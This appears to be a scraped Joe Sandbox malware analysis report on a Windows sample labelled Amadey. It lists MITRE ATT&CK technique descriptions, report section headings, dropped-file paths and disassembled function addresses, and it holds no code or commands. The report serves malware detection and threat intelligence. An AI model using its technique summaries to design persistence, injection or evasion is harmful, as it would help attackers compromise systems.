Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report S7AGd447vH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\152122461226

C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
S7AGd447vH.exe

Function 00401F40 Relevance: 27.2, APIs: 18, Instructions: 157
memoryCOMMON

Function 7FE42233 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 47
libraryloadernativeCOMMON

Function 7FE42DD5 Relevance: 56.4, APIs: 26, Strings: 6, Instructions: 420
memorylibraryloaderCOMMON

Function 0041B29A Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301
COMMONLIBRARYCODE

Function 7FE416D7 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 56
memorylibraryloaderCOMMON

Function 0041E647 Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Function 7FE41755 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 162
stringCOMMON

Function 7FE42459 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 100
COMMON

Function 7FE41EF2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
memorylibraryloaderCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre